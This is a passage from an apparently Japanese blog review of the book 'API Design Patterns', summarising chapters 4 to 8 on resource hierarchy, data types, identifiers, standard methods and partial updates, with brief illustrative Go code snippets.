}}このようなアプローチは、型安全性を高め、単位の誤用を防ぐのに役立ちます。さらに、これらの型に特定のメソッドを追加することで、単位変換や値の検証を容易に行うことができます。結論著者は、良い命名の重要性と、それがAPIの品質全体に与える影響を明確に示しています。良い名前は、単にコードを読みやすくするだけでなく、APIの使いやすさ、保守性、そして長期的な進化可能性に直接影響を与えます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切な命名がシステム全体の理解と管理を容易にする鍵となります。一貫性のある、表現力豊かで、かつシンプルな名前を選択することで、開発者はAPIを直感的に理解し、効率的に使用することができます。また、単位やデータ型を明確に示す名前を使用することは、システムの安全性と信頼性を高める上で重要です。これは、特に異なるシステムやチーム間でデータをやり取りする際に、誤解や誤用を防ぐ効果的な手段となります。Golangの文脈では、言語の設計哲学であるシンプルさと明確さを反映したAPI設計が重要です。標準ライブラリの命名規則に倣い、簡潔でかつ表現力豊かな名前を選択することで、Go開発者にとって親和性の高いAPIを設計することができます。最後に、命名は技術的な問題であると同時に、コミュニケーションの問題でもあります。適切な命名は、開発者間、チーム間、さらには組織間のコミュニケーションを促進し、プロジェクトの成功に大きく寄与します。したがって、API設計者は命名に十分な時間と注意を払い、長期的な視点でその影響を考慮する必要があります。4 Resource scope and hierarchy「API Design Patterns」の第4章「Resource scope and hierarchy」は、APIにおけるリソースのスコープと階層構造に焦点を当て、リソースレイアウトの概念、リソース間の関係性の種類、エンティティ関係図の活用方法、適切なリソース関係の選択基準、そしてリソースレイアウトのアンチパターンについて詳細に論じています。この章を通じて、著者はリソース中心のAPI設計の重要性と、それがシステムの拡張性、保守性、そして全体的なアーキテクチャにどのように影響を与えるかを明確に示しています。Figure 4.2 Users, payment methods, and addresses all have different relationships to one another. より引用リソースレイアウトの重要性著者は、APIデザインにおいてリソースに焦点を当てることの重要性から議論を始めています。これは、RESTful APIの設計原則と密接に関連しており、アクションよりもリソースを中心に考えることで、API全体の一貫性と理解しやすさが向上することを強調しています。この考え方は、マイクロサービスアーキテクチャやクラウドネイティブ開発において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが扱うリソースとその関係性を明確に定義することで、システム全体の複雑性を管理しやすくなります。著者が提示するリソースレイアウトの概念は、単にデータベーススキーマを設計するのとは異なります。APIのリソースレイアウトは、クライアントとサーバー間の契約であり、システムの振る舞いや機能を定義する重要な要素となります。この点で、リソースレイアウトはシステムの外部インターフェースを形作る重要な要素であり、慎重に設計する必要があります。リソース間の関係性著者は、リソース間の関係性を詳細に分類し、それぞれの特性と適用場面について論じています。特に注目すべきは以下の点です。参照関係: 最も基本的な関係性で、あるリソースが他のリソースを参照する形式です。例えば、メッセージリソースが著者ユーザーを参照する場合などが該当します。多対多関係: 複数のリソースが互いに関連する複雑な関係性です。例えば、ユーザーとチャットルームの関係などが挙げられます。自己参照関係: 同じタイプのリソースが互いに参照し合う関係性です。階層構造や社会的なネットワークの表現に適しています。階層関係: 親子関係を表現する特殊な関係性で、所有権や包含関係を示します。これらの関係性の理解と適切な適用は、APIの設計において極めて重要です。特に、マイクロサービスアーキテクチャにおいては、サービス間の境界を定義する際にこれらの関係性を慎重に考慮する必要があります。例えば、Golangを用いてマイクロサービスを実装する場合、これらの関係性を適切に表現することが重要です。以下は、チャットアプリケーションにおけるメッセージとユーザーの関係を表現する簡単な例です。type Message struct { ID string `json:\\"id\\"` Content string `json:\\"content\\"` AuthorID string `json:\\"author_id\\"` Timestamp time.Time `json:\\"timestamp\\"`}type User struct { ID string `json:\\"id\\"` Username string `json:\\"username\\"` Email string `json:\\"email\\"`}type ChatRoom struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` UserIDs []string `json:\\"user_ids\\"`}この例では、MessageがUserを参照する関係性と、ChatRoomとUserの多対多関係を表現しています。エンティティ関係図の活用著者は、エンティティ関係図(ERD)の重要性とその読み方について詳しく説明しています。ERDは、リソース間の関係性を視覚的に表現する強力なツールです。特に、カーディナリティ(一対一、一対多、多対多など)を明確に示すことができる点が重要です。ERDの活用は、APIの設計フェーズだけでなく、ドキュメンテーションや開発者間のコミュニケーションにおいても非常に有効です。特に、マイクロサービスアーキテクチャのような複雑なシステムでは、各サービスが扱うリソースとその関係性を視覚的に理解することが、全体像の把握に役立ちます。適切な関係性の選択著者は、リソース間の適切な関係性を選択する際の考慮点について詳細に論じています。特に重要な点は以下の通りです。関係性の必要性: すべてのリソース間に関係性を持たせる必要はありません。必要最小限の関係性に留めることで、APIの複雑性を抑制できます。インライン化 vs 参照: リソースの情報をインライン化するか、参照として扱うかの選択は、パフォーマンスとデータの一貫性のトレードオフを考慮して決定する必要があります。階層関係の適切な使用: 階層関係は強力ですが、過度に深い階層は避けるべきです。これらの選択は、システムの拡張性と保守性に大きな影響を与えます。例えば、不必要に多くの関係性を持つAPIは、将来的な変更が困難になる可能性があります。一方で、適切に設計された関係性は、システムの理解を容易にし、新機能の追加やスケーリングを円滑に行うことができます。アンチパターンの回避著者は、リソースレイアウトにおける一般的なアンチパターンとその回避方法について説明しています。特に注目すべきアンチパターンは以下の通りです。全てをリソース化する: 小さな概念まですべてをリソース化することは、APIを不必要に複雑にする可能性があります。深すぎる階層: 過度に深い階層構造は、APIの使用と理解を困難にします。全てをインライン化する: データの重複や一貫性の問題を引き起こす可能性があります。これらのアンチパターンを回避することで、より使いやすく、保守性の高いAPIを設計することができます。例えば、深すぎる階層構造を避けることで、APIのエンドポイントがシンプルになり、クライアント側の実装も容易になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。サービス境界の定義: リソースの関係性を適切に設計することで、マイクロサービス間の境界を明確に定義できます。これは、システムの拡張性と保守性に直接的な影響を与えます。パフォーマンスとスケーラビリティ: インライン化と参照の適切な選択は、システムのパフォーマンスとスケーラビリティに大きく影響します。例えば、頻繁に一緒にアクセスされるデータをインライン化することで、不必要なネットワーク呼び出しを減らすことができます。進化可能性: 適切にリソースと関係性を設計することで、将来的なAPIの拡張や変更が容易になります。これは、長期的なシステム運用において非常に重要です。一貫性と予測可能性: リソースレイアウトの一貫したアプローチは、APIの学習曲線を緩やかにし、開発者の生産性を向上させます。運用の簡素化: 適切に設計されたリソース階層は、アクセス制御やログ分析などの運用タスクを簡素化します。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、Goの構造体やインターフェースを使用して、リソース間の関係性を明確に表現することができます。また、Goの強力な型システムを活用することで、APIの一貫性と型安全性を確保することができます。結論第4章「Resource scope and hierarchy」は、APIデザインにおけるリソースのスコープと階層構造の重要性を明確に示しています。適切なリソースレイアウトの設計は、APIの使いやすさ、拡張性、保守性に直接的な影響を与えます。特に重要な点は以下の通りです。リソース間の関係性を慎重に設計し、必要最小限の関係性に留めること。インライン化と参照のトレードオフを理解し、適切に選択すること。階層関係を効果的に使用しつつ、過度に深い階層は避けること。一般的なアンチパターンを認識し、回避すること。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なリソースレイアウトの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の拡張性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。5 Data types and defaults「API Design Patterns」の第5章「Data types and defaults」は、APIにおけるデータ型とデフォルト値の重要性、各データ型の特性と使用上の注意点、そしてシリアライゼーションの課題について詳細に論じています。この章を通じて、著者はAPIの設計において適切なデータ型の選択とデフォルト値の扱いが、APIの使いやすさ、信頼性、そして長期的な保守性にどのように影響するかを明確に示しています。データ型の重要性と課題著者は、APIにおけるデータ型の重要性から議論を始めています。特に注目すべきは、プログラミング言語固有のデータ型に依存せず、シリアライゼーションフォーマット(主にJSON)を介して異なる言語間で互換性のあるデータ表現を実現することの重要性です。この問題は根深すぎて一つの解決策として開発言語を揃えるまでしてる組織ある。この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 5.1 Data moving from API server to client より引用この図は、APIサーバーからクライアントへのデータの流れを示しています。サーバー側でのプログラミング言語固有の表現がシリアライズされ、言語非依存の形式(多くの場合JSON)に変換され、ネットワークを介して送信されます。クライアント側では、このデータがデシリアライズされ、再びクライアントの言語固有の表現に変換されます。この過程は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。異なる言語やフレームワークで実装された複数のサービスが協調して動作する環境では、このようなデータの変換と伝送が頻繁に行われるため、データ型の一貫性と互換性が不可欠です。例えば、あるサービスが64ビット整数を使用し、別のサービスがそれを32ビット整数として解釈してしまうと、深刻なバグや不整合が発生する可能性があります。著者が指摘する「null」値と「missing」値の区別も重要な論点です。これは、オプショナルな値の扱いにおいて特に重要で、APIの設計者はこの違いを明確に意識し、適切に処理する必要があります。例えば、Golangにおいては、以下のように構造体のフィールドをポインタ型にすることで、この区別を表現できます。type User struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` Age *int `json:\\"age,omitempty\\"` IsActive *bool `json:\\"is_active,omitempty\\"`}この設計により、AgeやIsActiveフィールドが省略された場合(missing)と、明示的にnullが設定された場合を区別できます。このような細かい違いに注意を払うことで、APIの柔軟性と表現力を高めることができます。プリミティブデータ型の扱い著者は、ブール値、数値、文字列といったプリミティブデータ型について詳細に論じています。特に注目すべきは、これらのデータ型の適切な使用法と、シリアライゼーション時の注意点です。ブール値に関しては、フィールド名の選択が重要であると指摘しています。例えば、disallowChatbotsよりもallowChatbotsを使用することで、二重否定を避け、APIの理解しやすさを向上させることができます。数値に関しては、大きな整数や浮動小数点数の扱いに注意が必要です。著者は、これらの値を文字列としてシリアライズすることを提案しています。これは特に重要な指摘で、例えばJavaScriptでは64ビット整数を正確に扱えないという問題があります。Golangでこれを実装する場合、以下のようなアプローチが考えられます。type LargeNumber struct { Value string `json:\\"value\\"`}func (ln *LargeNumber) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } // ここで文字列を適切な数値型に変換 // エラーチェックも行う return nil}文字列に関しては、UTF-8エンコーディングの使用と、正規化形式(特にNFC)の重要性が強調されています。これは特に識別子として使用される文字列に重要で、一貫性のある比較を保証します。コレクションと構造体著者は、リスト(配列)とマップ(オブジェクト)についても詳細に論じています。これらのデータ型は、複雑なデータ構造を表現する上で不可欠ですが、適切に使用しないと問題を引き起こす可能性があります。リストに関しては、要素の型の一貫性と、サイズの制限の重要性が指摘されています。これは、API の安定性とパフォーマンスに直接影響します。例えば、リストのサイズが無制限に大きくなることを許可すると、メモリ使用量の増大やレスポンス時間の遅延につながる可能性があります。マップに関しては、動的なキー・バリューペアの格納に適していますが、スキーマレスな性質ゆえに慎重に使用する必要があります。著者は、マップのキーと値のサイズに制限を設けることを推奨しています。これは、APIの予測可能性と安定性を確保する上で重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。データの一貫性: 異なるサービス間でデータ型の一貫性を保つことは、システム全体の信頼性と保守性に直結します。例えば、全てのサービスで日時をISO 8601形式の文字列として扱うといった統一規則を設けることが有効です。バージョニングとの関係: データ型の変更はしばしばAPIの破壊的変更につながります。適切なバージョニング戦略と組み合わせることで、既存のクライアントへの影響を最小限に抑えつつ、APIを進化させることができます。パフォーマンスとスケーラビリティ: 大きな数値を文字列として扱うことや、コレクションのサイズを制限することは、システムのパフォーマンスとスケーラビリティに直接影響します。これらの決定は、システムの成長に伴う課題を予防する上で重要です。エラーハンドリング: 不適切なデータ型やサイズの入力を適切に処理し、明確なエラーメッセージを返すことは、APIの使いやすさと信頼性を向上させます。ドキュメンテーション: データ型、特に制約(例:文字列の最大長、数値の範囲)を明確にドキュメント化することは、API利用者の理解を助け、誤用を防ぎます。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、カスタムのUnmarshalJSONメソッドを使用して、文字列として受け取った大きな数値を適切に処理することができます。また、Goの強力な型システムを活用することで、APIの型安全性を高めることができます。type SafeInt64 int64func (si *SafeInt64) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } i, err := strconv.ParseInt(s, 10, 64) if err != nil { return err } *si = SafeInt64(i) return nil}結論第5章「Data types and defaults」は、APIデザインにおけるデータ型とデフォルト値の重要性を明確に示しています。適切なデータ型の選択と、それらの一貫した使用は、APIの使いやすさ、信頼性、そして長期的な保守性に直接的な影響を与えます。特に重要な点は以下の通りです。プログラミング言語に依存しない、一貫したデータ表現の重要性。null値とmissing値の区別、およびそれらの適切な処理。大きな数値や浮動小数点数の安全な取り扱い。文字列のエンコーディングと正規化の重要性。コレクション(リストとマップ)の適切な使用とサイズ制限。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なデータ型の選択は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切なデータ型の選択と一貫した使用は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。Part 3 Fundamentalsこのパートでは、APIの基本的な操作と機能について深く掘り下げています。標準メソッド(GET、POST、PUT、DELETE等)の適切な使用法、部分的な更新と取得、カスタムメソッドの設計、長時間実行操作の扱い方などが説明されています。これらの基本的な要素を適切に設計することで、APIの使いやすさと機能性が大きく向上します。6 Resource identification「API Design Patterns」の第6章「Resource identification」は、APIにおけるリソース識別子の重要性、良い識別子の特性、その実装方法、そしてUUIDとの関係について詳細に論じています。この章を通じて、著者はリソース識別子が単なる技術的な詳細ではなく、APIの使いやすさ、信頼性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。識別子の重要性と特性著者は、識別子の重要性から議論を始めています。APIにおいて、識別子はリソースを一意に特定するための手段であり、その設計は慎重に行う必要があります。良い識別子の特性として、著者は以下の点を挙げています。使いやすさ一意性永続性生成の速さと容易さ予測不可能性読みやすさ、共有のしやすさ、検証可能性情報密度の高さこれらの特性は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、永続性と一意性は、分散システムにおけるデータの一貫性と整合性を確保する上で不可欠です。また、予測不可能性はセキュリティの観点から重要で、リソースの推測や不正アクセスを防ぐ役割を果たします。著者が提案する識別子の形式は、Crockford\'s Base32エンコーディングを使用したものです。この選択には多くの利点があります。高い情報密度(ASCIIキャラクタあたり5ビット)人間が読みやすく、口頭でも伝えやすい大文字小文字を区別しない柔軟性チェックサム文字による検証可能性これらの特性は、実際の運用環境で非常に有用です。例えば、識別子の読み上げやタイプミスの検出が容易になり、サポートや障害対応の効率が向上します。実装の詳細著者は、識別子の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。サイズの選択: 著者は、用途に応じて64ビットまたは128ビットの識別子を推奨しています。これは、多くのユースケースで十分な一意性を提供しつつ、効率的なストレージと処理を可能にします。生成方法: 暗号学的に安全な乱数生成器の使用を推奨しています。これは、識別子の予測不可能性と一意性を確保する上で重要です。チェックサムの計算: 識別子の検証を容易にするためのチェックサム文字の追加方法を詳細に説明しています。データベースでの保存: 文字列、バイト列、整数値としての保存方法を比較し、それぞれの利点と欠点を分析しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。package mainimport ( \\"crypto/rand\\" \\"encoding/base32\\" \\"fmt\\")func GenerateID() (string, error) { bytes := make([]byte, 16) // 128ビットの識別子 _, err := rand.Read(bytes) if err != nil { return \\"\\", err } encoded := base32.StdEncoding.WithPadding(base32.NoPadding).EncodeToString(bytes) checksum := calculateChecksum(bytes) return fmt.Sprintf(\\"%s%c\\", encoded, checksumChar(checksum)), nil}func calculateChecksum(bytes []byte) int { sum := 0 for _, b := range bytes { sum += int(b) } return sum % 32}func checksumChar(checksum int) rune { return rune(\'A\' + checksum)}func main() { id, err := GenerateID() if err != nil { fmt.Printf(\\"Error generating ID: %v\\\\n\\", err) return } fmt.Printf(\\"Generated ID: %s\\\\n\\", id)}このような実装は、安全で効率的な識別子生成を可能にし、システムの信頼性と拡張性を向上させます。識別子の階層と一意性のスコープ著者は、識別子の階層構造と一意性のスコープについても詳細に論じています。これは、リソース間の関係性をどのように表現するかという重要な問題に関わっています。著者は、階層的な識別子(例:books/1234/pages/5678)の使用を、真の「所有権」関係がある場合に限定することを推奨しています。これは、リソースの移動や関係の変更が頻繁に起こる可能性がある場合、識別子の永続性を維持することが困難になるためです。この考え方は、マイクロサービスアーキテクチャにおいて特に重要です。サービス間の境界を明確に定義し、不必要な依存関係を避けるためには、識別子の設計が重要な役割を果たします。例えば、書籍と著者の関係を考えると、authors/1234/books/5678よりもbooks/5678(著者情報は書籍のプロパティとして保持)の方が、サービス間の結合度を低く保つことができます。UUIDとの比較著者は、提案する識別子形式とUUIDを比較しています。UUIDの利点(広く採用されている、衝突の可能性が極めて低いなど)を認めつつ、以下の点で著者の提案する形式が優れていると主張しています。より短く、人間が読みやすい情報密度が高い(Base32 vs Base16)チェックサム機能が組み込まれているこの比較は重要で、システムの要件に応じて適切な識別子形式を選択する必要性を示しています。例えば、高度に分散化されたシステムではUUIDの使用が適している一方、人間の介入が頻繁に必要なシステムでは著者の提案する形式が有用かもしれません。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 適切な識別子の設計は、システムのスケーラビリティと性能に直接影響します。例えば、128ビットの識別子を使用することで、将来的な成長に対応しつつ、効率的なインデックスの作成が可能になります。セキュリティ: 予測不可能な識別子の使用は、リソースの推測や不正アクセスを防ぐ上で重要です。これは、特に公開APIにおいて重要な考慮事項です。運用性: 人間が読みやすく、検証可能な識別子は、デバッグやトラブルシューティングを容易にします。これは、大規模なシステムの運用において非常に有用です。バージョニングとの関係: 識別子の設計は、APIのバージョニング戦略と密接に関連しています。永続的で一意な識別子は、異なるバージョン間でのリソースの一貫性を維持するのに役立ちます。データベース設計: 識別子の形式と保存方法の選択は、データベースの性能と拡張性に大きな影響を与えます。著者の提案する形式は、多くのデータベースシステムで効率的に扱うことができます。結論第6章「Resource identification」は、APIにおけるリソース識別子の重要性と、その適切な設計の必要性を明確に示しています。著者の提案する識別子形式は、使いやすさ、安全性、効率性のバランスが取れており、多くのユースケースで有用です。特に重要な点は以下の通りです。識別子は単なる技術的詳細ではなく、APIの使いやすさと信頼性に直接影響を与える重要な設計上の決定である。良い識別子は、一意性、永続性、予測不可能性、読みやすさなど、複数の重要な特性を兼ね備えている必要がある。Crockford\'s Base32エンコーディングの使用は、多くの利点をもたらす。識別子の階層構造は慎重に設計する必要があり、真の「所有権」関係がある場合にのみ使用すべきである。UUIDは広く採用されているが、特定のユースケースでは著者の提案する形式の方が適している場合がある。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース識別子の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な識別子の設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切な識別子の設計は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。7 Standard methods「API Design Patterns」の第7章「Standard methods」は、APIにおける標準メソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は標準メソッドが単なる慣習ではなく、APIの一貫性、予測可能性、そして使いやすさを大きく向上させる重要な設計上の決定であることを明確に示しています。標準メソッドの重要性と概要著者は、標準メソッドの重要性から議論を始めています。APIの予測可能性を高めるために、リソースごとに異なる操作を定義するのではなく、一貫した標準メソッドのセットを定義することの利点を強調しています。具体的には、以下の標準メソッドが紹介されています。Get:既存のリソースを取得List:リソースのコレクションをリスト化Create:新しいリソースを作成Update:既存のリソースを更新Delete:既存のリソースを削除Replace:リソース全体を置き換えHTTP には他にもいくつかのメソッドが用意されているWikipedia より引用en.wikipedia.orgこれらの標準メソッドは、RESTful APIの設計原則に基づいており、多くの開発者にとって馴染みのある概念です。しかし、著者はこれらのメソッドの実装に関する詳細な指針を提供することで、単なる慣習を超えた、一貫性のある強力なAPIデザインパターンを提示しています。この標準化されたアプローチは、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスのインターフェースが一貫していることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで同じ標準メソッドを使用することで、開発者はサービス間の相互作用をより直感的に理解し、新しいサービスの統合や既存のサービスの修正をスムーズに行うことができます。実装の詳細とベストプラクティス著者は、各標準メソッドの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。べき等性とサイドエフェクト: 著者は、標準メソッドのべき等性(同じリクエストを複数回実行しても結果が変わらない性質)とサイドエフェクトの重要性を強調しています。特に、Getやリストのような読み取り専用のメソッドは、完全にべき等であるべきで、システムの状態を変更するサイドエフェクトを持つべきではありません。これは、システムの予測可能性と信頼性を高める上で重要です。一貫性: 著者は、特にCreate操作において強い一貫性を維持することの重要性を指摘しています。リソースが作成されたら、即座に他の標準メソッド(Get、List、Update、Delete)を通じてアクセス可能であるべきです。これは、分散システムにおける課題ですが、APIの信頼性と使いやすさにとって極めて重要です。部分更新 vs 全体置換: UpdateメソッドとReplaceメソッドの違いについて詳細に説明しています。Updateは部分的な更新(HTTP PATCHを使用)を行い、Replaceは全体の置換(HTTP PUTを使用)を行います。この区別は、APIの柔軟性と使いやすさを向上させる上で重要です。べき等性と削除操作: 著者は、Delete操作がべき等であるべきか否かについて興味深い議論を展開しています。最終的に、Deleteはべき等でない方が良いと結論付けていますが、これはAPIの設計者にとって重要な考慮点です。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなインターフェースが考えられます。type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, filter string) ([]*Resource, error) Create(ctx context.Context, resource *Resource) (*Resource, error) Update(ctx context.Context, id string, updates map[string]interface{}) (*Resource, error) Replace(ctx context.Context, id string, resource *Resource) (*Resource, error) Delete(ctx context.Context, id string) error}このようなインターフェースは、標準メソッドの一貫した実装を促進し、APIの使いやすさと保守性を向上させます。標準メソッドの適用と課題著者は、標準メソッドの適用に関する重要な考慮点も提示しています。メソッドの選択: 全てのリソースが全ての標準メソッドをサポートする必要はありません。リソースの性質に応じて、適切なメソッドのみを実装すべきです。アクセス制御: 特にListメソッドにおいて、異なるユーザーが異なるアクセス権を持つ場合の挙動について詳細に説明しています。これは、セキュリティと使いやすさのバランスを取る上で重要な考慮点です。結果のカウントとソート: 著者は、Listメソッドでのカウントやソートのサポートを避けることを推奨しています。これは、大規模なデータセットでのパフォーマンスとスケーラビリティの問題を防ぐための重要な指針です。フィルタリング: Listメソッドにおけるフィルタリングの重要性と、その実装方法について説明しています。著者は、固定のフィルタリング構造ではなく、柔軟な文字列ベースのフィルタリングを推奨しています。これらの考慮点は、特に大規模なシステムやマイクロサービスアーキテクチャにおいて重要です。例えば、Listメソッドでのカウントやソートの制限は、システムの水平スケーリング能力を維持する上で重要です。同様に、柔軟なフィルタリングの実装は、APIの長期的な進化と拡張性を確保します。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。一貫性と予測可能性: 標準メソッドを一貫して適用することで、APIの学習曲線が緩やかになり、開発者の生産性が向上します。これは、特に大規模なシステムや多くのマイクロサービスを持つ環境で重要です。パフォーマンスとスケーラビリティ: 著者の推奨事項(例:Listメソッドでのカウントやソートの制限)は、システムのパフォーマンスとスケーラビリティを維持する上で重要です。これらの原則を適用することで、システムの成長に伴う課題を予防できます。バージョニングとの関係: 標準メソッドの一貫した実装は、APIのバージョニング戦略とも密接に関連します。新しいバージョンを導入する際も、これらの標準メソッドの挙動を維持することで、後方互換性を確保しやすくなります。セキュリティの考慮: 標準メソッドの実装において、適切なアクセス制御やエラーハンドリングを行うことは、APIのセキュリティを確保する上で重要です。運用性: 標準メソッドの一貫した実装は、監視、ログ記録、デバッグなどの運用タスクを簡素化します。これにより、問題の迅速な特定と解決が可能になります。結論第7章「Standard methods」は、APIにおける標準メソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの一貫性、予測可能性、使いやすさを大きく向上させる可能性があります。特に重要な点は以下の通りです。標準メソッド(Get、List、Create、Update、Delete、Replace)の一貫した実装は、APIの学習性と使いやすさを大幅に向上させます。べき等性とサイドエフェクトの考慮は、APIの信頼性と予測可能性を確保する上で重要です。強い一貫性の維持、特にCreate操作後の即時アクセス可能性は、APIの信頼性を高めます。標準メソッドの適切な選択と実装は、システムのパフォーマンス、スケーラビリティ、セキュリティに直接影響します。標準メソッドの一貫した実装は、システムの運用性と長期的な保守性を向上させます。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、標準メソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な標準メソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。標準メソッドの適切な実装は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。8 Partial updates and retrievals「API Design Patterns」の第8章「Partial updates and retrievals」は、APIにおける部分的な更新と取得の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は部分的な更新と取得が単なる機能の追加ではなく、APIの柔軟性、効率性、そして長期的な使いやすさに直接影響を与える重要な設計上の決定であることを明確に示しています。部分的な更新と取得の動機著者は、部分的な更新と取得の必要性から議論を始めています。特に、大規模なリソースや制限のあるクライアント環境での重要性を強調しています。例えば、IoTデバイスのような制限された環境では、必要最小限のデータのみを取得することが重要です。また、大規模なリソースの一部のみを更新する必要がある場合、全体を置き換えるのではなく、特定のフィールドのみを更新する能力が重要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが必要とするデータのみを効率的に取得し、更新することが、システム全体のパフォーマンスとスケーラビリティを向上させます。著者は、部分的な更新と取得を実現するためのツールとしてフィールドマスクの概念を導入しています。フィールドマスクは、クライアントが関心のあるフィールドを指定するための単純かつ強力なメカニズムです。これにより、APIは必要なデータのみを返すか、指定されたフィールドのみを更新することができます。フィールドマスクの実装著者は、フィールドマスクの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。トランスポート: フィールドマスクをどのようにAPIリクエストに含めるかについて議論しています。著者は、クエリパラメータを使用することを推奨しています。これは、HTTPヘッダーよりもアクセスしやすく、操作しやすいためです。ネストされたフィールドとマップの扱い: 著者は、ドット表記を使用してネストされたフィールドやマップのキーを指定する方法を説明しています。これにより、複雑なデータ構造でも柔軟に部分的な更新や取得が可能になります。繰り返しフィールドの扱い: 配列やリストのような繰り返しフィールドに対する操作の制限について議論しています。著者は、インデックスベースの操作を避け、代わりにフィールド全体の置き換えを推奨しています。デフォルト値: 部分的な取得と更新におけるデフォルト値の扱いについて説明しています。特に、更新操作での暗黙的なフィールドマスクの使用を推奨しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。type FieldMask []stringtype UpdateUserRequest struct { User *User FieldMask FieldMask `json:\\"fieldMask,omitempty\\"`}func UpdateUser(ctx context.Context, req *UpdateUserRequest) (*User, error) { existingUser, err := getUserFromDatabase(req.User.ID) if err != nil { return nil, err } if req.FieldMask == nil { // 暗黙的なフィールドマスクを使用 req.FieldMask = inferFieldMask(req.User) } for _, field := range req.FieldMask { switch field { case \\"name\\": existingUser.Name = req.User.Name case \\"email\\": existingUser.Email = req.User.Email // ... その他のフィールド } } return saveUserToDatabase(existingUser)}func inferFieldMask(user *User) FieldMask { var mask FieldMask if user.Name != \\"\\" { mask = append(mask, \\"name\\") } if user.Email != \\"\\" { mask = append(mask, \\"email\\") } // ... その他のフィールド return mask}このコードでは、フィールドマスクを明示的に指定しない場合、提供されたデータから暗黙的にフィールドマスクを推論しています。これにより、クライアントは必要なフィールドのみを更新でき、不要なデータの送信を避けることができます。部分的な更新と取得の課題著者は、部分的な更新と取得の実装に関する重要な課題についても議論しています。一貫性: 